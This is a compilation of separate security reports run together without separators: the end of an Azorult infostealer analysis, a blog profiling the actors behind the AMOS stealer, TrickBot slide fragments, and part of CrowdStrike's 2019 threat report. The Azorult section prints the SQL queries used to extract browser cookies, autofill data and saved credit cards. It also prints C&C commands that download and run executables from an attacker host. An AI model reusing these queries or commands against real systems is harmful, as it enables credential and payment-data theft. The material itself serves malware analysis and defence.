not encoded with the XOR key and exists as the Base64 string in between tags <d> and </d>. If you decode the Base64 string, you can see 208 strings. ## 3. Stealing Information Azorult decodes DLL files used to leak information. It then drops and loads them, seeking the API URLs that will be used for the leak. Afterward, it steals information following flags related to information leakage received from the C&C server. There are 10 flags in total. Each enables or disables a certain feature. | Flag | Order | Features | |------|-------|----------| | 0 | Unconfirmed | | 1 | Information of various application accounts | | 2 | Web browser Cookie and AutoComplete | | 3 | Coin | | 4 | Skype History | | 5 | Telegram | | 6 | Steam | | 7 | Screenshots | | 8 | Auto-delete | | 9 | Web browser History | ### 3.1. ACCOUNT INFORMATION Azorult steals account information from various programs. The following list shows programs that are targeted. Note that properties discussed in web browser parts such as Cookie and History are the same for Chromium-based and Mozilla-based web browsers shown below. #### a. Web Browser - Targeted programs: Internet Explorer, Vault (including the latest version of IE and past versions of Edge), Chromium-based web browsers (GoogleChrome, GoogleChrome64, InternetMailRu, YandexBrowser, ComodoDragon, Amigo, Orbitum, Bromium, Chromium, Nichrome, RockMelt, 360Browser, Vivaldi, Opera, GoBrowser, Sputnik, Kometa, Uran, QIPSurf, Epic, Brave, CocCoc, CentBrowser, 7Star, ElementsBrowser, TorBro, Suhba, SaferBrowser, Mustang, Superbird, Chedot, and Torch), and Mozilla-based web browsers (MozillaFireFox, Waterfox, IceDragon, Cyberfox, and PaleMoon). In past versions of Internet Explorer (7 and 8), the AutoComplete password was saved in the registry HKCU\Software\Microsoft\Internet Explorer\IntelliForms\Storage2. The key’s values are the hash values of website URLs that correspond to account information, with the data of the value being the account information. The data is encoded using DPAI. To decode it, one must know what website is matched to the key. To know the information, Azorult uses the CUrlHistory COM object to know the History of IE. - CUrlHistory CLSID: 3C374A40-BAE4-11CF-BF7D-00AA006946EE - IUrlHistoryStg2 IID: AFA0DC11-C313-11d0-831A-00C04FD5AE38 It obtains the user account information saved in IE with the method of using URLs found in IE History to know the values saved in \IntelliForms\Storage2 with the CryptUnprotectData() API. It then steals account information of the Edge web browser saved in Windows Vault. #### b. Email Client - Targeted programs: Outlook and Thunderbird As Thunderbird is Mozilla-based, the same method mentioned for Firefox above is used. For Outlook, the malware extracts values such as EMAIL, POP3, IMAP, SMTP, and HTTP from registry keys. #### c. Others - Targeted instant message programs: Psi+ and Pidgin - Targeted FTP client programs: FileZilla and WinSCP ### 3.2. Web Browser Cookie If flags for Cookie and AutoFill are enabled, the malware steals Cookie files of IE, Edge, Chromium-based web browsers, and Mozilla-based web browsers. For IE and Edge, it steals *.txt files and *.cookie files from the following paths. Let’s have Google Chrome as an example among Chromium-based web browsers. The malware extracts information from the \AppData\Local\Google\Chrome\User Data\Default\Cookies file with one of the following 2 SQL queries. ``` SELECT host_key, name, encrypted_value, value, path, secure, (expires_utc/1000000)-11644473600 FROM cookies SELECT host_key, name, name, value, path, secure, expires_utc FROM cookies ``` Let’s have Mozilla Firefox as an example among Mozilla-based web browsers. The malware extracts information from the cookies.sqlite file existing in paths such as \AppData\Roaming\Mozilla\Firefox\Profiles\wz0irceq.default-release with the following SQL query. ``` SELECT host, path, isSecure, expiry, name, value FROM moz_cookies ``` ### 3.3. Web Browser AutoComplete If flags for Cookie and AutoFill are enabled, the malware steals AutoFill records of Chromium-based and Mozilla-based web browsers. Let’s have Google Chrome as an example among Chromium-based web browsers. The malware extracts information from the \AppData\Local\Google\Chrome\User Data\Default\Web Data file with the following SQL query. ``` SELECT name, value FROM autofill ``` In Chromium-based web browsers, CreditCard information also becomes a target to be stolen. Following the same process, the malware extracts information from the \AppData\Local\Google\Chrome\User Data\Default\Web Data file with the following SQL query. ``` SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted value FROM credit_cards ``` Let’s have Mozilla Firefox as an example among Mozilla-based web browsers. The malware extracts information from the formhistory.sqlite file existing in paths such as \AppData\Roaming\Mozilla\Firefox\Profiles\wz0irceq.default-release with the following SQL query. ``` SELECT fieldname, value FROM moz_formhistory ``` ### 3.4. Web Browser History If the flag for History is enabled, the malware steals History records of Chromium-based and Mozilla-based web browsers. Let’s have Google Chrome as an example among Chromium-based web browsers. The malware extracts information from the \AppData\Local\Google\Chrome\User Data\Default\History file with the following SQL query. ``` SELECT DATETIME( ((visits.visit_time/1000000)-11644473600), "unixepoch"), urls.title, urls.url FROM urls, visits WHERE urls.id = visits.url ORDER By visits.visit_time DESC LIMIT 0, 10000 ``` Let’s have Mozilla Firefox as an example among Mozilla-based web browsers. The malware extracts information from the places.sqlite file existing in paths such as \AppData\Roaming\Mozilla\Firefox\Profiles\wz0irceq.default-release with the following SQL query. ``` SELECT DATETIME(moz_historyvisits.visit_date/1000000, "unixepoch", "localtime"), moz_places.title, moz_places.url FROM moz_places, moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id ORDER By moz_historyvisits.visit_date DESC LIMIT 0, 10000 ``` ### 3.5. Coin Wallet If the flag for Coin is enabled, the malware steals wallet files for various types of cryptocurrency. First, files saved in the \Coins\autoscan\ folder are those that fit the following conditions as the malware looks up paths within the \AppData\Roaming\ folder. Next, files saved in the \Coins\Monero\ folder are those that have their paths known by the malware referencing the wallet_path data of the HKCU\Software\monero-project\monero-core key, those that have .address.txt name added to the previous files and those that have .keys added to their names. Afterward, the malware also steals wallet.dat files and \wallets\wallet.dat files from the paths known by referencing the strDataDir data from the following registry keys. ### 3.6. Skype If the Skype flag is enabled, the malware steals the main.db file from the \AppData\Roaming\Skype\ path. When users use Skype, the logs are saved in the main.db file. Certain tools can be used to restore the Skype record with the file. This means that when the attacker steals the file, Skype-related information such as Skype chat history can be leaked. ### 3.7. Telegram If the Telegram flag is enabled, the malware steals files starting with “D877F783D5” and “map” existing in the \AppData\Roaming\Telegram Desktop\tdata\ path. These files are settings files related to sessions existing in the Telegram PC version and can be exploited by the attacker for stealing sessions. ### 3.8. Steam If the Steam flag is enabled, the malware obtains the Steam path by referencing the SteamPath value of the HKCU\Software\Valve\Steam key and steals “ssfn*” files existing in the path and “*.vdf” files existing in the internal Config folder. These files have the information of sessions and settings of the Steam client. The attacker can exploit these files to access a user’s Steam account. ### 3.9. Screenshots If the screenshot flag is enabled, the malware takes a screenshot of the current screen and saves it in the compressed file with the name scr.jpg. ### 3.10. System Info Azorult obtains various types of system info and leaks them regardless of C&C commands by default. The following shows the types of information that are leaked. - MachineID - Malware path - Windows version - Computer name - Resolution - Language - Time - Time Zone - CPU model - Number of CPUs - RAM size - Video card information - List of currently running processes - List of installed programs ## 4. C&C Command ### 4.1. Command – F The F command collects files from the user PC and receives settings for the path and extensions. The following shows 2 examples among F commands received from the C&C server. The format is as follows: ``` [ F \t <name of the compressed file> \t <path> \t <extension> \t <max size> \t <subfolder> \t <shortcut> \t <exception path> ] ``` The files collected by the F command are located at the Files\ path inside the compressed file and saved in the folder with the name of the compressed file designated by the command. For instance, the first command has the data saved in the DOC TXT folder. For paths, environment variables such as %USERPROFILE% and the drive paths starting with “DSK_” are supported. By designating the route path and calling the GetDriveTypeA() function, the command can return the type of the drive path. ### 4.2. Command – L Another Azorult mentioned above received the L command as shown below. ``` L http://jamesrlongacre[.]ug/ds2.exe – * L http://jamesrlongacre[.]ug/ds1.exe – * L http://jamesrlongacre[.]ug/rc.exe – * L http://jamesrlongacre[.]ug/ac.exe – * ``` The L command consists of the form <L> \t <URL> \t <+|-> \t <*|URL>. The +|- flags of the third part decide the status of the SW_HIDE flag when downloaded files are executed. If the flag is + (SW_HIDE), the files will be run with their properties hidden. The downloaded files are saved in the name of the URL in the Temp path. If there are files with the same name, the files are downloaded in the ProgramData path instead. If the extension of the downloaded files is .exe, the command runs them using the CreateProcessW() function. If not, the files are run using the ShellExecuteExW() function. The process is repeated for each L command. ### 4.3. Command – l The I command received from the current C&C server had the IP address and country code of the infected PC. In this case, the received information is simply saved as the ip.txt file. ``` I xxx.xxx.xx7.166:KR ``` If there is no IP and country code information of the infected PC in the I command (receiving “?”), the command obtains information by making a query to http://ip-api.com/json and parses the information to save it as the ip.txt file. ## 5. Leaking Collected Information After obtaining all types of information, Azorult creates a packet to be sent to the C&C server. The structure of the packet is as follows. The strings attached before the zip file are all URL-encoded. The separator is the string “2C5A87CB-758C-7293-47BC-475C65D699A584C5-7DC6-DC45-12A47C7DB587-F89F-78CD-96CA-FD478543C7F4” which is hard-coded in the binary. ``` <system info> [separator][separator] <stolen account information> [separator][separator] <stolen Cookies information> [separator][separator] <compressed file> ``` The first size of 0x80000 is decrypted with the 3 bytes XOR key, just like how the C&C command was decrypted. The key used here is also 0x0355AE. After sending the XOR-encoded data to the server, the malware uses the L command that it received before to perform downloader behaviors. ## 6. Conclusion Azorult malware is distributed through spam mails. Therefore, when there is a suspicious-looking email in the inbox, users must refrain from opening the attachment files within the email. Also, V3 should be updated to the latest version so that malware infection can be prevented. ### [File Detection] - Trojan/Win32.Kryptik.C4217978 - Malware/Win32.RL_Generic.R354530 ### [Behavior Detection] - Malware/MDP.Behavior.M3108 ### [IOC] - File - 6a4824ab00e63c2f1bbf29a24d78b2a4 - c0e0a9d259bbf9faab7fd5049bf6b662 - C&C URL - hxxp://ciuj[.]ir/masab/index.php - hxxp://jamesrlongacre[.]ug/index.php ### Categories: Malware Information ### Tagged as: Azorult, InfoStealer, SPAMMAIL
# Silent Echoes: The Hidden Dialogue among Malware Entities — Spotlight on AMOS InfoStealer On April 26th, Cyble, a threat intelligence provider, released an article discussing a new infostealer called AMOS, which targets Mac devices. Intrigued by their findings, I conducted a personal investigation and gathered more information about AMOS infostealer. Initially, I planned to conduct a technical analysis of the stealer and its infrastructure. However, delving deeper into AMOS, I decided to shift the main focus and present the analysis of the threat actors behind the stealer instead. As you go with me on this journey, I hope you don’t get lost in my thought process. Let’s go. I started my investigation by locating the Telegram channel where the stealer was advertised. The first Telegram channel was created on April 9th and has 366 subscribers. However, on April 29th, the admin of the channel declared that they were leaving the project, transferring ownership to the user @ping3r and a new coder, adding that he leaves it up to the users to decide how to view it — as a selling point or circumstance. Later the same day, the second channel related to AMOS was created, which currently has 1155 subscribers and where the contact person is referenced as @ez360x (I presume this is a new coder). Additionally, a support group was created, which currently has only 15 members. Interestingly, when I saw the new channel, what struck me first was the channel’s avatar. I couldn’t get over the feeling that I had seen this avatar somewhere before. I did some searching, and voila — I found it. **Maybe XORacle?** The profile image is similar to the avatar of the malware development team — XORacle, which offers malware development services on one of the most popular Russian-speaking forums. XORacle mentions in their advertisement that they have expertise in developing various types of malware, including RATs, Stealers, Clippers, and Loaders, using Rust and Go programming languages (AMOS was written in Go). They also offer malware development services for macOS. Coincidence or not, at this point I can only speculate about the potential relation of XORacle to AMOS. **Possible connection to WhiteSnake stealer** Going back to Telegram, I browsed through the AMOS support group and noticed that out of fifteen members, one of them was named @WhiteSnake. WhiteSnake is a stealer that emerged on the market in February 2023, targeting Windows and Linux operating system users. The user @WhiteSnake was an admin of the Telegram channel advertising WhiteSnake stealer. Further, WhiteSnake is present on the Russian-speaking forum. While browsing through it, I noticed that WhiteSnake asked a user to message them privately in response to their question about the development of a macOS stealer. Furthermore, on March 17th, our user posted an interesting statement, citing — “Here lives Uzbek,” which suggests that the user may be originally from Uzbekistan (remember this detail!). As I continued investigating, the next step was to check whether the stealer was advertised elsewhere on Telegram. Lucky me — it was. Although in my earlier examination, I identified at least seven instances of AMOS advertisements on the various channels, I noticed that earlier advertisements were removed from most channels except for one. Accident or not, it was still there. It was necessary since the earlier advertisements contained a critical element — mentioning of another person associated with a channel — a user removed later from all the posts on the channel — @line_liner. Could @line_liner be the primary coder of AMOS? Well, yes. So, right now we have three profiles of interest: @ping3r, @line_liner, and @ez360x. Let’s look into each and every one of them individually to see what we can find. **User 1: ping3r (Role — AMOS owner)** The first user of interest is @ping3r, who is the present owner of the AMOS stealer. After conducting some research, I found out that @ping3r is the owner of the private forum COOKIE.PRO, which has been active since 2018. To join the forum, interested parties must pay a fee ranging from $150 for users to $250 for sellers. The website also has a Telegram group with 3,633 members, where @ping3r is referred to as the admin. Additionally, @ping3r serves as an escrow on the forum COOKIE.PRO. The forum advertises several familiar infostealers, including WhiteSnake and Titan. **User 2: line_liner (Role — AMOS developer)** The next person of interest is @line_liner, who I believe was an admin of the first channel and a coder behind AMOS, and the mentioning of who was erased after the ownership of the stealer was transferred to another person. When I checked the Telegram of @line_liner, I noticed an interesting detail in their profile picture: a traditional Uzbek hat called Tubeteika. This makes me think there might be a connection between @line_liner and the WhiteSnake developer. What if they are the same person? Intriguing, right? **User 3: ez360x (Role — new coder)** Lastly, @ez360x, new coder. Unfortunately, I found nothing about this user, but he seems to be a “no less popular coder.” Could it be previously mentioned XORacle? At this point, I can only guess. **Was it Titan after all?** As I delved deeper into the investigation for this article, I uncovered some additional interesting information which contradicts or supports my previous statements. On May 11th, a Telegram channel called Abbadon posted that on March 18th, the developer of Titan Stealer ceased working on it and sold it to Aurora (another info-stealer). Additionally, it was mentioned that Aurora, who now owns Titan Stealer, focused entirely on operating Titan, ceasing all Aurora operations as of May 1st. Furthermore, according to the information in the channel — the original developer of Titan started working on developing Atomic macOS Stealer (AMOS), which was later sold to a user named @ping3r. Abbadon shared a screenshot of forwarded messages from @ping3r indicating the purchase of AMOS from Titan. **Conclusion** Although Abaddon’s post, in a way, disproves my initial belief that WhiteSnake is the one who developed AMOS, there is no solid evidence to state that they are not. What if WhiteSnake and Titan are the same people, after all? I don’t know it, but working on this investigation and having the AMOS as a case study shows the tight interconnectedness between the users behind the development of malicious software. There is a high chance that the same person or team (like XORacle) might be behind several malicious software that we know under different names. I won’t be surprised if they operate under the name of a legitimate software company with an office, regular working hours, and a coffee machine standing in the corner. I hope you enjoyed being on this journey with me. See you!
# The TrickBot Evolution **Joshua Adams, F5 Networks** [email protected] - 38503c00be6b7f7eeb5076c0bd071b4c - bf621ef7e98047fea8c221e17c1837b8 - 0804499dba4090c439e580f5693660e0 - E4a8dc8fd08d4f65a68d0a40e2190c70 **Source:** http://www.threatgeek.com/2016/10/trickbot-the-dyre-connection.html **Fidelis Threat Researcher Jason Reaves** - Dyre like config - Dynamic Injects **Source:** https://f5.com/about-us/news/articles/little-trickbot-growing-up-new-campaign-22790 **Julia Karpin, Shaul Vilkomir-Preisman, Anna Dorfman** - more targets - modified config - redirect attacks - 43cfa53d6d327356f23bc73dc737bfcd **Source:** Shaul Vilkomir-Preisman - new module - new User Agent TrickBot is evolving quickly. - 1000002 (2016-08-19) - 1000005 (2016-10-28) - 1000007 (2016-11-23) - 1000009 (2016-11-30) Thank You!
# 2019 Global Threat Report: Adversary Tradecraft and the Importance of Speed ## Foreword This year’s Global Threat Report: “Adversary Tradecraft and the Importance of Speed,” addresses the quickening pace and increasing sophistication in adversary tactics, techniques, and procedures (TTPs) over the past year — and in particular, highlights the critical importance of speed in staying ahead of rapidly evolving threats. Last year, we introduced the concept of “breakout time” — the window of time from when an adversary first compromises an endpoint machine to when they begin moving laterally across your network. In this year’s report, we were able to provide a more granular examination of breakout time by clocking the average speed of major nation-state actors. The report compares the breakout speeds of Russia, China, North Korea, Iran, and the combined category of global eCrime actors. This and other unique insights in the report can help organizations advance their response objectives, depending on which adversary types they are most likely to encounter in the year ahead. The report also makes clear — in spite of some impressive indictments against several named nation-state actors — their activities show no signs of diminishing. Throughout 2018, eCrime and nation-state adversaries collectively upped their game. A few examples: - In diplomatic channels and the media, several nation-states gave lip-service to curbing their clandestine cyber activities, but behind the scenes, they doubled down on their cyber espionage operations — combining those efforts with further forays into destructive attacks and financially motivated fraud. - eCrime actors demonstrated newfound flexibility, forming and breaking alliances and quickly changing tactics mid-campaign to achieve their objectives. The shifting currents of the underground economy — including the availability of new TTPs-for-hire and the fluctuating value of Bitcoin — were all contributing factors. - We also witnessed an increased focus on “Big Game Hunting,” where eCrime actors combine targeted intrusions with ransomware to extract big payoffs from large enterprise organizations. ## Introduction In many respects, 2018 appeared to be a markedly different year than the one before. Absent some of the high-profile events observed in 2017, such as WannaCry and NotPetya, headlines in 2018 were defined instead by a series of U.S. Department of Justice (DoJ) indictments against individuals linked to named, state-sponsored adversaries. Possibly affected by these public disclosures, ongoing tool development activity and changes in tactics, techniques, and procedures (TTPs) seem to indicate 2018 was a transition year for many adversaries. One thing was clear: Law enforcement efforts have not yet halted or deterred nation-state sponsored activities. Nation-state adversaries were continuously active throughout 2018 — targeting dissidents, regional adversaries, and foreign powers to collect intelligence for decision-makers: - North Korea (aka the Democratic People's Republic of Korea, or DPRK) remained active in both intelligence collection and currency-generation schemes, despite participating in diplomatic outreach. - Iran maintained focus on operations against other Middle Eastern and North African (MENA) countries, particularly regional foes across the Gulf Cooperation Council (GCC). Additionally, it is suspected that Iranian adversaries are developing new mobile malware capabilities to target dissidents and minority ethnic groups. - As for China, CrowdStrike observed a significant rise in U.S. targeting, likely tied to increased tensions between the two countries. - Russian adversaries were active across the globe in a variety of intelligence collection and information operations. Other nation-state adversaries tracked by CrowdStrike but not prominently featured in this report include: - Adversaries linked to Pakistan and India maintained an interest in regional affairs with a rise in activity on the Indian subcontinent, observed in the summer of 2018. - The Vietnam-based adversary OCEAN BUFFALO appeared to focus on domestic — possibly internal law enforcement — operations; however, CrowdStrike has also identified the possible targeting of Cambodia, as well as activity against the manufacturing and hospitality sectors. The most prominent trend in eCrime for 2018 was the continued rise of “Big Game Hunting,” which combines targeted, intrusion-style TTPs with the deployment of ransomware across a large organization, all in pursuit of a bigger financial payoff. BOSS SPIDER (Samas, SamSam), INDRIK SPIDER (Dridex), and GRIM SPIDER (Ryuk) all raked in huge profits in these campaigns. Additional evidence of a changing eCrime ecosystem came from prolific ransomware-as-a-service (RaaS) adversary PINCHY SPIDER (GandCrab) and the solidification of MUMMY SPIDER (Emotet) as a professional malware distribution operation. Meanwhile, targeted eCrime adversaries COBALT SPIDER (Cobalt Group) and CARBON SPIDER (Carbanak) have remained active, despite arrests of individuals linked to their operations. In the following sections, the CrowdStrike Intelligence, Falcon OverWatch managed hunting, and the CrowdStrike Services teams present selected analysis that highlights the most significant events and trends in the past year of cyberthreat activity. Analysis of incidents referenced in this report demonstrates how threat intelligence, proactive hunting, and swift proactive countermeasures can provide a deeper understanding of the motivations, objectives, and activities of these actors, and how to use that information to better defend valuable data in the future. ## Methodology The information in this report was compiled using the following resources: **CrowdStrike Intelligence** The CrowdStrike Intelligence team provides in-depth and historical understanding of adversaries, their campaigns, and their motivations. The global team of intelligence professionals track 116 adversaries of all types, including nation-state, eCrime, and hacktivist actors. The team analyzes adversary tools, tactics, and procedures (TTPs) to deliver in-depth, government-grade intelligence to enable effective countermeasures against emerging threats. **Falcon OverWatch** CrowdStrike Falcon OverWatch provides proactive threat hunting conducted by a team of experienced threat hunters providing 24/7 coverage on behalf of CrowdStrike customers. In 2018, OverWatch identified and helped stop more than 30,000 breach attempts, employing expertise gained from daily “hand-to-hand combat” with sophisticated adversaries. The OverWatch team works to identify hidden threat activity in customers’ environments, triaging, investigating, and remediating incidents in real time. **CrowdStrike Threat Graph™** As the brains behind the CrowdStrike platform, Threat Graph is a massively scalable, cloud-based graph database model custom built by CrowdStrike. It processes, correlates, and analyzes petabytes of real-time and historical data collected from over one trillion events per week across 176 countries. The Threat Graph architecture combines patented behavioral pattern matching techniques with machine learning and artificial intelligence to track the behaviors of every executable across CrowdStrike’s global customer community. This combination of methodologies enables the identification and blocking of previously undetectable attacks, whether or not they use malware. **CrowdStrike Services** This report references the CrowdStrike Services organization and its annual report, the "CrowdStrike Services Cyber Intrusion Casebook 2018," which recounts real-life client incident response (IR) engagements handled by the Services team. In addition to hands-on IR services conducted by its team of professional investigators, CrowdStrike Services provides proactive services such as cybersecurity maturity assessments, IR policy and playbook development, tabletop exercises, red teaming operations, and compromise assessments. Response and remediation services are conducted by highly experienced IR experts who investigate breaches to determine how attackers accessed a client’s environment; mitigate attacks and eject intruders; and analyze attacker actions and provide clients with actionable guidance to prevent future adversary access. ## Breakout Time: Methodology and Limitations of the Findings The dataset used for producing this year’s breakout time analysis was based on intrusions that occurred during 2018 among the organizations CrowdStrike works with. CrowdStrike’s customer base is large and diverse, representing every major industry, including companies and government agencies with deployments across 176 countries. However, this large dataset is not universal, and it is possible that researchers looking at other datasets may arrive at different measurements for breakout time. CrowdStrike researchers were only able to rank adversaries for which there was live intrusion data based on their visibility, and therefore, it was impossible to arrive at any conclusions about capabilities for other actors that are also undoubtedly executing cyber operations. It’s important to note that this dataset only incorporated intrusions where CrowdStrike had confident attribution to a threat actor and where lateral movement was successful by that actor (vs. where they may have been prevented from moving laterally by the technology or people at the customer site). This likely introduced biases that the authors want to recognize in this report. In order to make it easier to draw conclusions from the data, a decision was made to aggregate breakout times across adversaries associated with specific nation-states and across all criminal groups CrowdStrike had detected. This decision entailed some internal debate. On one hand, it is easier for people to consume data based on countries, versus numerous nation-state actors that may be affiliated with that country; on the other hand, you lose some of the information in the average metric around the fact that certain groups within nation-states are more skillful than others. While Chinese-affiliated groups had an average breakout time of four hours, there were groups within China that were considerably faster. Similarly, some criminal groups were extremely fast at breaking out, but the average was dragged down by other groups that were slower. In the future, CrowdStrike hopes to expand the reporting and provide more granular measurements beyond just the averages. It is also important to recognize that not all adversaries may have an objective to be as fast as possible at breaking out. It is possible that for a certain mission, breakout speed may not be the primary objective, or there may have been a handoff to a different intrusion team following the initial compromise, which can also cause significant delays before lateral movement is accomplished. However, CrowdStrike researchers believe — based on extensive experience and visibility — that as defenders get better at hunting for and identifying intrusions, it has become more important for threat actors to raise their game and try to accomplish their mission as rapidly as possible prior to being detected and thwarted. This ranking is also not necessarily an indication of which adversary represents the biggest threat. For example, it doesn’t account for volume of activity — just their speed of lateral movement within the network. Slow adversaries can still cause tremendous damage if they have the motivation to do so. There are many different ways to look at the dataset. CrowdStrike has attempted to outline some of the assumptions and limitations, but there are others that researchers may have not thought of yet. CrowdStrike welcomes constructive feedback from the industry on how to make these measurements better and more actionable in the future. This is only a start, and not the end of these types of exercises, and it is hoped that others will come forward with their own measurements of breakout time by adversaries, as well as perhaps other useful metrics to track and measure their tradecraft and capabilities. One of the most important implications of this data, however, is that it is an indication of how fast defenders have to be in order to stop a breach from one of these adversaries that is likely to target them. They may have more time if they are dealing with a threat actor who tends to be slower at lateral movement, but they can’t waste a second when dealing with fast-moving actors, such as those affiliated with the Russian government. CrowdStrike hopes this research spurs more analysis and evaluation about the implications of tracking breakout time, and how to measure sophistication and capabilities of adversary groups. ## Naming Conventions This report follows the naming conventions instituted by CrowdStrike, which categorizes adversaries according to their nation-state affiliations or motivations (e.g., eCrime or hacktivist). The following is a guide to these adversary naming conventions. | Adversary | Category or Nation-State | |-----------|--------------------------| | SPIDER | ECRIME | | CHOLLIMA | DEMOCRATIC PEOPLE'S REPUBLIC OF KOREA (NORTH KOREA) | | JACKAL | HACKTIVIST | | TIGER | INDIA | | KITTEN | IRAN | | LEOPARD | PAKISTAN | | PANDA | PEOPLE’S REPUBLIC OF CHINA | | BEAR | RUSSIAN FEDERATION | | CRANE | SOUTH KOREA | | BUFFALO | VIETNAM | ## Threat Landscape Overview: Going Beyond Malware Malware continues to loom as a primary feature of the threat landscape, but it is often only the precursor to an attack, not the ultimate objective. Initial intrusion leads to more sophisticated and stealthy techniques, such as “living off the land” tradecraft that uses legitimate tools already present on the target system to accomplish adversary objectives. Using insights gleaned from the CrowdStrike Threat Graph, this report attempts to bring focus to what happens in the threat environment “beyond malware.” ## CrowdStrike Threat Graph The CrowdStrike Threat Graph is the brains behind the CrowdStrike Falcon platform. Falcon endpoint agents are deployed on customer machines in more than 176 different countries and capture more than 240 billion events every 24 hours — more than the number of tweets Twitter processes in an entire year. Using powerful graph analytics to correlate more than a trillion events per week in real time, the Threat Graph draws links between security telemetry across the global CrowdStrike Falcon agent community to immediately detect and prevent adversary activity — at scale and with unprecedented speed. ### Threat Graph Data | Type | 2017 | 2018 | |------|------|------| | Events per Day | 90.1B | 240B | | Peak Events per Second | 1.4M | 3.8M | | Average Events per Second | 1.0M | 3.0M | ### Percentage of Falcon Agent Coverage by Major Operating System - Windows desktop: 78% - Windows server: 11% - Mac: 9% - Linux: 2% ## An Overview of Tactics and Techniques Observed in 2018 The following section of the report contains statistics taken directly from CrowdStrike Threat Graph telemetry profiling recent attack types and their targets. ### Breakout Time and Lateral Movement Speed Last year’s Global Threat Report highlighted an important new metric CrowdStrike is tracking — “breakout time” — that measures the speed with which adversaries accomplish lateral movement in the victim environment after their initial compromise. Breakout time is important because it represents the time limit for defenders to respond to and contain or remediate an intrusion before it spreads widely in their environment and leads to a major breach. ### Breakout Times by Adversary for 2018 | Adversary | Breakout Time | |-----------|---------------| | BEAR | 00:18:49 | | CHOLLIMA | 02:20:14 | | PANDA | 04:00:26 | | KITTEN | 05:09:04 | | SPIDER | 09:42:23 | This year, the CrowdStrike team decided to dive deeper into breakout time and calculate it for attributed incidents, to determine the speed of major adversaries whose intrusions the team attributed in 2018. Speed is essential in cybersecurity — for both offense and defense. In many ways, it is not the sophistication of the tools — which can be bought or stolen from others — that determines the capability of the adversary, but rather their operational tradecraft and how rapidly they can achieve their objectives in a target network. It is quite remarkable to see that Russia-based threat actors are almost 8 times as fast as their speediest competitor — North Korea-based adversaries, who themselves are almost twice as fast as intrusion groups from China. While certainly not the only metric to judge sophistication by, this ranking by breakout time is an interesting way to evaluate the operational capabilities of major threat actors. It is also useful for defenders who want to use it to benchmark the speed of their average time-to-detect, time-to-investigate, and time-to-remediate metrics (collectively known as the “1-10-60 rule,” these key defensive indicators are explained more fully in the Global Threat Predictions and Recommendations section). Organizations can adjust their target response times to meet their individual needs, based in part on which adversaries types they are most likely to confront in their given business sector and regional focus. The overall average breakout time that CrowdStrike observed in 2018 across all intrusions and threat actors was 4 hours 37 mins, a substantial increase from 1 hour and 58 minutes tracked in 2017. A variety of factors may have contributed to this increase, including a rise in intrusions from slower-moving adversaries, as well as more organizations deploying next-generation endpoint security technologies that are more effective at detecting and stopping intrusions than legacy antivirus. Organizations can adjust their target response times to meet their individual needs, based in part on which adversaries types they are most likely to confront in their given business sector and regional focus. ## Beyond Malware The 2018 CrowdStrike telemetry did not show a distinct shift in the balance between malware and malware-free threats compared to 2017. CrowdStrike analysis continues to identify malware as a dominant method used by various types of attackers for initial infiltration. The ultimate methods and objectives of malware can range from deploying basic bots for use in denial-of-service campaigns to more directed objectives such as collecting cryptocurrencies through unauthorized mining. Other more nefarious malware, such as the TrickBot banking Trojan, is used to steal login credentials to banking sites. ### Global Malware vs. Malware-Free Attacks | Type | Percentage | |---------------|------------| | Malware-Free | 40% | | Malware | 60% | Notable shifts in 2018 versus 2017: The media industry jumped to the top of the charts, with approximately 80 percent malware-free attacks, versus approximately 64 percent in 2017. In addition, the technology, academic, and energy sectors all saw dramatic increases in malware-free attacks in 2018. ### Malware-Free Attacks by Industry Industries at the top of this list — including media, technology, and academic — tend to be more heavily targeted by malware-free threats and will benefit from aggressively strengthening their defenses to address these more sophisticated, modern attacks. ### Malware-Free Attacks by Region Using sample groupings from the CrowdStrike Threat Graph, this year’s report includes the types of activity observed using CrowdStrike global telemetry. The data aligns with the types of intrusions that are covered elsewhere in this report. For instance, CrowdStrike Intelligence observed an increase in eCrime malware-based activity in Central and South America. ## Global ATT&CK Technique Trends Successful cyberattacks do not end with an initial intrusion, regardless of whether they’re perpetrated via malware or malware-free attack vectors. Each attack has an ultimate objective, such as theft of data or computing resources, and the attack typically requires multiple steps along the way to reach that objective. In 2018, the cybersecurity industry saw the rapid adoption of the MITRE ATT&CK framework to describe the tactics and techniques — from initial access to exfiltration — in a standardized manner. CrowdStrike uses MITRE ATT&CK extensively in its telemetry and reporting to more completely understand and describe cyberthreats. In 2018, CrowdStrike observed a substantial use of “scripting” techniques in attacks, as well as the increased use of techniques intended to hide or obscure attacker behaviors. The CrowdStrike team surmises that as endpoint protection solutions are becoming increasingly adept at finding and stopping malicious behaviors, attackers are forced to incorporate stealthier measures into their tradecraft. ### Global Prevalence of Attack Techniques - Masquerading - Accessibility Features - Hidden Files & Directories - PowerShell - Indicator of Compromise - Account Discovery - Process Injection - Credential Dumping - Miscellaneous - Setuid and Setgid - Indicator Removal on Host - Exploitation for Client Execution - Exploit Mitigation - Registry Run Keys / Start Folder - Ransomware - Data from Local System - Scripting ## Summary While malware remains a significant component of modern attacks, it generally comprises only a portion of an overall attack campaign. By putting in place measures for comprehensive visibility across the entire spectrum of attack tactics, defenses grow more resilient and capable of detecting and preventing a complete range of attack techniques, regardless of where in the attack cycle they occur. Using MITRE ATT&CK model mapping against CrowdStrike global telemetry, CrowdStrike observed a significant use of scripting techniques as well as an increase in the use of defense evasion techniques in 2018. Traditional methods of protection, such as relying on hashes and basic file blocking, no longer provide the strongest defense as attackers continue to shift to “living off the land” techniques and using common built-in system tools (such as PowerShell, Office Document Macros, and JavaScript) to achieve their objectives. ## State-Sponsored Adversaries In 2018, CrowdStrike identified state-sponsored (targeted) intrusion activity from across the globe. The following sections provide an overview of observed incidents attributed specifically to adversaries in China, Russia, Iran, and the DPRK (Democratic People’s Republic of Korea, or North Korea). Additionally, CrowdStrike Intelligence continues to observe activity from the Republic of Korea (RoK, or South Korea), Vietnam, India, and Pakistan. Of the 81 named state-sponsored targeted intrusion adversaries tracked by CrowdStrike Intelligence, 28 were active in 2018. Additional campaigns have been identified that are in the process of being fully or partially attributed. In total, the activities summarized below have been assessed as likely state-sponsored operations supporting intelligence collection, military requirements, and — in the case of certain DPRK operations — currency generation. ### 2018 State-Sponsored Intrusions at a Glance | Region | Adversary | |--------|-----------| | Other | OCEAN BUFFALO | | China | GOBLIN PANDA, WICKED PANDA | | India | QUILTED TIGER | | South Korea | SHADOW CRANE | | Russia | FANCY BEAR | | DPRK | LABYRINTH CHOLLIMA, RICOCHET CHOLLIMA, VELVET CHOLLIMA | | Iran | HELIX KITTEN, STATIC KITTEN | 